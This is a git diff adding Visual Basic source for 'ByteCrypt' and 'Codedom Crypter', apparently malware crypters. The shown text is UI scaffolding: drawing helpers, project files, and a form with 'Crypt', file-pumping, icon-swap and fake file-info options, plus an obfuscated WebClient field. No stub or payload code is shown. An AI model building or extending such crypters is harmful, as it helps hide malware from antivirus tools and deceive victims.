DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + +#End Region + +#Region " DrawText " + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + + DrawTextSize = Measure(text) + DrawTextPoint = Center(DrawTextSize) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(text, Font, b1, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + G.DrawString(text, Font, b1, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + G.DrawString(text, Font, b1, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, p1) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage " + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + DrawImagePoint = Center(image.Size) + + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(image, x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Center + G.DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Right + G.DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y, image.Width, image.Height) + End Select + End Sub + + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient " + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, 90.0F) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region + +#Region " DrawRadial " + + Private DrawRadialPath As GraphicsPath + Private DrawRadialBrush1 As PathGradientBrush + Private DrawRadialBrush2 As LinearGradientBrush + Private DrawRadialRectangle As Rectangle + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, width \ 2, height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal center As Point) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, cx, cy) + End Sub + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawRadial(blend, r, r.Width \ 2, r.Height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal center As Point) + DrawRadial(blend, r, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialPath.Reset() + DrawRadialPath.AddEllipse(r.X, r.Y, r.Width - 1, r.Height - 1) + + DrawRadialBrush1 = New PathGradientBrush(DrawRadialPath) + DrawRadialBrush1.CenterPoint = New Point(r.X + cx, r.Y + cy) + DrawRadialBrush1.InterpolationColors = blend + + If G.SmoothingMode = SmoothingMode.AntiAlias Then + G.FillEllipse(DrawRadialBrush1, r.X + 1, r.Y + 1, r.Width - 3, r.Height - 3) + Else + G.FillEllipse(DrawRadialBrush1, r) + End If + End Sub + + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawRadialRectangle) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawRadialRectangle, angle) + End Sub + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillEllipse(DrawRadialBrush2, r) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, angle) + G.FillEllipse(DrawRadialBrush2, r) + End Sub + +#End Region + +End Class + +Enum MouseState As Byte + None = 0 + Over = 1 + Down = 2 + Block = 3 +End Enum + +Structure Bloom + + Public _Name As String + ReadOnly Property Name() As String + Get + Return _Name + End Get + End Property + + Private _Value As Color + Property Value() As Color + Get + Return _Value + End Get + Set(ByVal value As Color) + _Value = value + End Set + End Property + + Sub New(ByVal name As String, ByVal value As Color) + _Name = name + _Value = value + End Sub +End Structure diff --git a/scode (ByteCrypt/ByteCrypter/app.config b/scode (ByteCrypt/ByteCrypter/app.config new file mode 100644 index 0000000..b78b515 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/app.config @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (ByteCrypt/ByteCrypter/blackhole-eclipse-etoile-soleil-icone-7145.ico b/scode (ByteCrypt/ByteCrypter/blackhole-eclipse-etoile-soleil-icone-7145.ico new file mode 100644 index 0000000..08a4731 Binary files /dev/null and b/scode (ByteCrypt/ByteCrypter/blackhole-eclipse-etoile-soleil-icone-7145.ico differ diff --git a/scode (ByteCrypt/Capture.png b/scode (ByteCrypt/Capture.png new file mode 100644 index 0000000..8bbb20a Binary files /dev/null and b/scode (ByteCrypt/Capture.png differ diff --git a/scode (ByteCrypt/Capture.psd b/scode (ByteCrypt/Capture.psd new file mode 100644 index 0000000..7e56bb5 Binary files /dev/null and b/scode (ByteCrypt/Capture.psd differ diff --git a/scode (Codedom Crypter/.DS_Store b/scode (Codedom Crypter/.DS_Store new file mode 100644 index 0000000..82ad91e Binary files /dev/null and b/scode (Codedom Crypter/.DS_Store differ diff --git a/scode (Codedom Crypter/.vs/WindowsApplication1/v14/.suo b/scode (Codedom Crypter/.vs/WindowsApplication1/v14/.suo new file mode 100644 index 0000000..2f85789 Binary files /dev/null and b/scode (Codedom Crypter/.vs/WindowsApplication1/v14/.suo differ diff --git a/scode (Codedom Crypter/WindowsApplication1.sln b/scode (Codedom Crypter/WindowsApplication1.sln new file mode 100644 index 0000000..b31a029 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "WindowsApplication1", "WindowsApplication1\WindowsApplication1.vbproj", "{F061F309-A39A-4771-83A1-E1FD12485F7A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F061F309-A39A-4771-83A1-E1FD12485F7A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F061F309-A39A-4771-83A1-E1FD12485F7A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F061F309-A39A-4771-83A1-E1FD12485F7A}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F061F309-A39A-4771-83A1-E1FD12485F7A}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Codedom Crypter/WindowsApplication1.suo b/scode (Codedom Crypter/WindowsApplication1.suo new file mode 100644 index 0000000..b64bbd6 Binary files /dev/null and b/scode (Codedom Crypter/WindowsApplication1.suo differ diff --git a/scode (Codedom Crypter/WindowsApplication1/Form1.Designer.vb b/scode (Codedom Crypter/WindowsApplication1/Form1.Designer.vb new file mode 100644 index 0000000..4fb62a6 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/Form1.Designer.vb @@ -0,0 +1,356 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.Button1 = New System.Windows.Forms.Button + Me.TextBox1 = New System.Windows.Forms.TextBox + Me.Button2 = New System.Windows.Forms.Button + Me.CheckBox1 = New System.Windows.Forms.CheckBox + Me.NumericUpDown1 = New System.Windows.Forms.NumericUpDown + Me.CheckBox2 = New System.Windows.Forms.CheckBox + Me.CheckBox3 = New System.Windows.Forms.CheckBox + Me.CheckBox4 = New System.Windows.Forms.CheckBox + Me.txtADescription = New System.Windows.Forms.TextBox + Me.Label20 = New System.Windows.Forms.Label + Me.Label21 = New System.Windows.Forms.Label + Me.txtACompany = New System.Windows.Forms.TextBox + Me.Label19 = New System.Windows.Forms.Label + Me.Label17 = New System.Windows.Forms.Label + Me.txtACopyright = New System.Windows.Forms.TextBox + Me.Button3 = New System.Windows.Forms.Button + Me.TextBox2 = New System.Windows.Forms.TextBox + Me.picIcon = New System.Windows.Forms.PictureBox + Me.Label1 = New System.Windows.Forms.Label + Me.Label2 = New System.Windows.Forms.Label + Me.EsdVgupXgOPatrBYabcvBYJ = New System.Net.WebClient + CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.picIcon, System.ComponentModel.ISupportInitialize).BeginInit() + Me.SuspendLayout() + ' + 'Button1 + ' + Me.Button1.BackgroundImage = CType(resources.GetObject("Button1.BackgroundImage"), System.Drawing.Image) + Me.Button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch + Me.Button1.FlatStyle = System.Windows.Forms.FlatStyle.Popup + Me.Button1.ForeColor = System.Drawing.Color.White + Me.Button1.Location = New System.Drawing.Point(279, 68) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(75, 20) + Me.Button1.TabIndex = 0 + Me.Button1.Text = "..." + Me.Button1.UseVisualStyleBackColor = True + ' + 'TextBox1 + ' + Me.TextBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer)) + Me.TextBox1.ForeColor = System.Drawing.Color.White + Me.TextBox1.Location = New System.Drawing.Point(12, 68) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.Size = New System.Drawing.Size(261, 20) + Me.TextBox1.TabIndex = 1 + ' + 'Button2 + ' + Me.Button2.BackgroundImage = CType(resources.GetObject("Button2.BackgroundImage"), System.Drawing.Image) + Me.Button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch + Me.Button2.FlatStyle = System.Windows.Forms.FlatStyle.Popup + Me.Button2.ForeColor = System.Drawing.Color.White + Me.Button2.Location = New System.Drawing.Point(12, 294) + Me.Button2.Name = "Button2" + Me.Button2.Size = New System.Drawing.Size(350, 54) + Me.Button2.TabIndex = 2 + Me.Button2.Text = "Crypt" + Me.Button2.UseVisualStyleBackColor = True + ' + 'CheckBox1 + ' + Me.CheckBox1.AutoSize = True + Me.CheckBox1.BackColor = System.Drawing.Color.Transparent + Me.CheckBox1.Enabled = False + Me.CheckBox1.ForeColor = System.Drawing.Color.White + Me.CheckBox1.Location = New System.Drawing.Point(12, 97) + Me.CheckBox1.Name = "CheckBox1" + Me.CheckBox1.Size = New System.Drawing.Size(95, 17) + Me.CheckBox1.TabIndex = 3 + Me.CheckBox1.Text = "Pump File (mb)" + Me.CheckBox1.UseVisualStyleBackColor = False + ' + 'NumericUpDown1 + ' + Me.NumericUpDown1.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer)) + Me.NumericUpDown1.Enabled = False + Me.NumericUpDown1.ForeColor = System.Drawing.Color.White + Me.NumericUpDown1.Location = New System.Drawing.Point(113, 94) + Me.NumericUpDown1.Maximum = New Decimal(New Integer() {10000, 0, 0, 0}) + Me.NumericUpDown1.Minimum = New Decimal(New Integer() {1, 0, 0, 0}) + Me.NumericUpDown1.Name = "NumericUpDown1" + Me.NumericUpDown1.Size = New System.Drawing.Size(120, 20) + Me.NumericUpDown1.TabIndex = 4 + Me.NumericUpDown1.Value = New Decimal(New Integer() {1, 0, 0, 0}) + ' + 'CheckBox2 + ' + Me.CheckBox2.AutoSize = True + Me.CheckBox2.BackColor = System.Drawing.Color.Transparent + Me.CheckBox2.Enabled = False + Me.CheckBox2.ForeColor = System.Drawing.Color.White + Me.CheckBox2.Location = New System.Drawing.Point(12, 120) + Me.CheckBox2.Name = "CheckBox2" + Me.CheckBox2.Size = New System.Drawing.Size(150, 17) + Me.CheckBox2.TabIndex = 5 + Me.CheckBox2.Text = "Use EOF (No File Loaded)" + Me.CheckBox2.UseVisualStyleBackColor = False + ' + 'CheckBox3 + ' + Me.CheckBox3.AutoSize = True + Me.CheckBox3.BackColor = System.Drawing.Color.Transparent + Me.CheckBox3.Enabled = False + Me.CheckBox3.ForeColor = System.Drawing.Color.White + Me.CheckBox3.Location = New System.Drawing.Point(12, 143) + Me.CheckBox3.Name = "CheckBox3" + Me.CheckBox3.Size = New System.Drawing.Size(168, 17) + Me.CheckBox3.TabIndex = 6 + Me.CheckBox3.Text = "Change Icon (No File Loaded)" + Me.CheckBox3.UseVisualStyleBackColor = False + ' + 'CheckBox4 + ' + Me.CheckBox4.AutoSize = True + Me.CheckBox4.BackColor = System.Drawing.Color.Transparent + Me.CheckBox4.Enabled = False + Me.CheckBox4.ForeColor = System.Drawing.Color.White + Me.CheckBox4.Location = New System.Drawing.Point(12, 166) + Me.CheckBox4.Name = "CheckBox4" + Me.CheckBox4.Size = New System.Drawing.Size(184, 17) + Me.CheckBox4.TabIndex = 7 + Me.CheckBox4.Text = "Change File Info (Recommended)" + Me.CheckBox4.UseVisualStyleBackColor = False + ' + 'txtADescription + ' + Me.txtADescription.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer)) + Me.txtADescription.Enabled = False + Me.txtADescription.ForeColor = System.Drawing.Color.White + Me.txtADescription.Location = New System.Drawing.Point(98, 188) + Me.txtADescription.MaxLength = 100 + Me.txtADescription.Name = "txtADescription" + Me.txtADescription.Size = New System.Drawing.Size(256, 20) + Me.txtADescription.TabIndex = 1 + ' + 'Label20 + ' + Me.Label20.BackColor = System.Drawing.Color.Transparent + Me.Label20.ForeColor = System.Drawing.Color.White + Me.Label20.Location = New System.Drawing.Point(15, 188) + Me.Label20.Name = "Label20" + Me.Label20.Size = New System.Drawing.Size(65, 20) + Me.Label20.TabIndex = 0 + Me.Label20.Text = "Description:" + Me.Label20.TextAlign = System.Drawing.ContentAlignment.MiddleRight + ' + 'Label21 + ' + Me.Label21.BackColor = System.Drawing.Color.Transparent + Me.Label21.ForeColor = System.Drawing.Color.White + Me.Label21.Location = New System.Drawing.Point(12, 269) + Me.Label21.Name = "Label21" + Me.Label21.Size = New System.Drawing.Size(68, 17) + Me.Label21.TabIndex = 11 + Me.Label21.Text = "File Version:" + Me.Label21.TextAlign = System.Drawing.ContentAlignment.MiddleRight + ' + 'txtACompany + ' + Me.txtACompany.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer)) + Me.txtACompany.Enabled = False + Me.txtACompany.ForeColor = System.Drawing.Color.White + Me.txtACompany.Location = New System.Drawing.Point(98, 214) + Me.txtACompany.MaxLength = 100 + Me.txtACompany.Name = "txtACompany" + Me.txtACompany.Size = New System.Drawing.Size(256, 20) + Me.txtACompany.TabIndex = 3 + ' + 'Label19 + ' + Me.Label19.BackColor = System.Drawing.Color.Transparent + Me.Label19.ForeColor = System.Drawing.Color.White + Me.Label19.Location = New System.Drawing.Point(23, 214) + Me.Label19.Name = "Label19" + Me.Label19.Size = New System.Drawing.Size(57, 18) + Me.Label19.TabIndex = 2 + Me.Label19.Text = "Company:" + Me.Label19.TextAlign = System.Drawing.ContentAlignment.MiddleRight + ' + 'Label17 + ' + Me.Label17.BackColor = System.Drawing.Color.Transparent + Me.Label17.ForeColor = System.Drawing.Color.White + Me.Label17.Location = New System.Drawing.Point(24, 243) + Me.Label17.Name = "Label17" + Me.Label17.Size = New System.Drawing.Size(56, 19) + Me.Label17.TabIndex = 4 + Me.Label17.Text = "Copyright:" + Me.Label17.TextAlign = System.Drawing.ContentAlignment.MiddleRight + ' + 'txtACopyright + ' + Me.txtACopyright.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer)) + Me.txtACopyright.Enabled = False + Me.txtACopyright.ForeColor = System.Drawing.Color.White + Me.txtACopyright.Location = New System.Drawing.Point(98, 242) + Me.txtACopyright.MaxLength = 100 + Me.txtACopyright.Name = "txtACopyright" + Me.txtACopyright.Size = New System.Drawing.Size(256, 20) + Me.txtACopyright.TabIndex = 5 + ' + 'Button3 + ' + Me.Button3.BackgroundImage = Global.XD.My.Resources.Resources.images + Me.Button3.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch + Me.Button3.Enabled = False + Me.Button3.FlatStyle = System.Windows.Forms.FlatStyle.Popup + Me.Button3.ForeColor = System.Drawing.Color.White + Me.Button3.Location = New System.Drawing.Point(186, 141) + Me.Button3.Name = "Button3" + Me.Button3.Size = New System.Drawing.Size(75, 19) + Me.Button3.TabIndex = 12 + Me.Button3.Text = "..." + Me.Button3.UseVisualStyleBackColor = True + ' + 'TextBox2 + ' + Me.TextBox2.BackColor = System.Drawing.Color.FromArgb(CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer), CType(CType(64, Byte), Integer)) + Me.TextBox2.Enabled = False + Me.TextBox2.ForeColor = System.Drawing.Color.White + Me.TextBox2.Location = New System.Drawing.Point(98, 268) + Me.TextBox2.Name = "TextBox2" + Me.TextBox2.Size = New System.Drawing.Size(94, 20) + Me.TextBox2.TabIndex = 13 + Me.TextBox2.Text = "1.0.0.0" + ' + 'picIcon + ' + Me.picIcon.BackColor = System.Drawing.Color.Transparent + Me.picIcon.Location = New System.Drawing.Point(267, 108) + Me.picIcon.Name = "picIcon" + Me.picIcon.Size = New System.Drawing.Size(87, 61) + Me.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom + Me.picIcon.TabIndex = 39 + Me.picIcon.TabStop = False + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.BackColor = System.Drawing.Color.Transparent + Me.Label1.Font = New System.Drawing.Font("Comic Sans MS", 20.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label1.ForeColor = System.Drawing.Color.White + Me.Label1.Location = New System.Drawing.Point(78, 0) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(204, 38) + Me.Label1.TabIndex = 40 + Me.Label1.Text = "okKCrypter 1.0" + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.BackColor = System.Drawing.Color.Transparent + Me.Label2.Font = New System.Drawing.Font("Comic Sans MS", 12.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Label2.ForeColor = System.Drawing.Color.Red + Me.Label2.Location = New System.Drawing.Point(106, 38) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(0, 23) + Me.Label2.TabIndex = 41 + ' + 'EsdVgupXgOPatrBYabcvBYJ + ' + Me.EsdVgupXgOPatrBYabcvBYJ.BaseAddress = "" + Me.EsdVgupXgOPatrBYabcvBYJ.CachePolicy = Nothing + Me.EsdVgupXgOPatrBYabcvBYJ.Credentials = Nothing + Me.EsdVgupXgOPatrBYabcvBYJ.Encoding = CType(resources.GetObject("EsdVgupXgOPatrBYabcvBYJ.Encoding"), System.Text.Encoding) + Me.EsdVgupXgOPatrBYabcvBYJ.Headers = CType(resources.GetObject("EsdVgupXgOPatrBYabcvBYJ.Headers"), System.Net.WebHeaderCollection) + Me.EsdVgupXgOPatrBYabcvBYJ.QueryString = CType(resources.GetObject("EsdVgupXgOPatrBYabcvBYJ.QueryString"), System.Collections.Specialized.NameValueCollection) + Me.EsdVgupXgOPatrBYabcvBYJ.UseDefaultCredentials = False + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.BackgroundImage = Global.XD.My.Resources.Resources.images + Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch + Me.ClientSize = New System.Drawing.Size(374, 355) + Me.Controls.Add(Me.Label2) + Me.Controls.Add(Me.Label1) + Me.Controls.Add(Me.picIcon) + Me.Controls.Add(Me.TextBox2) + Me.Controls.Add(Me.Button3) + Me.Controls.Add(Me.txtADescription) + Me.Controls.Add(Me.CheckBox4) + Me.Controls.Add(Me.Label21) + Me.Controls.Add(Me.Label20) + Me.Controls.Add(Me.CheckBox3) + Me.Controls.Add(Me.CheckBox2) + Me.Controls.Add(Me.NumericUpDown1) + Me.Controls.Add(Me.CheckBox1) + Me.Controls.Add(Me.txtACompany) + Me.Controls.Add(Me.Button2) + Me.Controls.Add(Me.TextBox1) + Me.Controls.Add(Me.Button1) + Me.Controls.Add(Me.txtACopyright) + Me.Controls.Add(Me.Label19) + Me.Controls.Add(Me.Label17) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.MaximizeBox = False + Me.Name = "Form1" + Me.Text = "okKCrypter 1.0" + CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).EndInit() + CType(Me.picIcon, System.ComponentModel.ISupportInitialize).EndInit() + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Button2 As System.Windows.Forms.Button + Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox + Friend WithEvents NumericUpDown1 As System.Windows.Forms.NumericUpDown + Friend WithEvents CheckBox2 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox3 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox4 As System.Windows.Forms.CheckBox + Friend WithEvents txtADescription As System.Windows.Forms.TextBox + Friend WithEvents Label20 As System.Windows.Forms.Label + Friend WithEvents Label21 As System.Windows.Forms.Label + Friend WithEvents txtACompany As System.Windows.Forms.TextBox + Friend WithEvents Label19 As System.Windows.Forms.Label + Friend WithEvents Label17 As System.Windows.Forms.Label + Friend WithEvents txtACopyright As System.Windows.Forms.TextBox + Friend WithEvents Button3 As System.Windows.Forms.Button + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents picIcon As System.Windows.Forms.PictureBox + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents EsdVgupXgOPatrBYabcvBYJ As System.Net.WebClient + +End Class diff --git a/scode (Codedom Crypter/WindowsApplication1/Form1.resx b/scode (Codedom Crypter/WindowsApplication1/Form1.resx new file mode 100644 index 0000000..feff234 --- /dev/null +++ b/scode (Codedom Crypter/WindowsApplication1/Form1.resx @@ -0,0 +1,495 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + /9j/4AAQSkZJRgABAQEAAAAAAAD/2wBDAAkGBwgHBgkIBwgKCgkLDRYPDQwMDRsUFRAWIB0iIiAdHx8k + KDQsJCYxJx8fLT0tMTU3Ojo6Iys/RD84QzQ5Ojf/2wBDAQoKCg0MDRoPDxo3JR8lNzc3Nzc3Nzc3Nzc3 + Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzf/wAARCACxARwDASIAAhEBAxEB/8QA + HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh + MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVW + V1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG + x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQF + 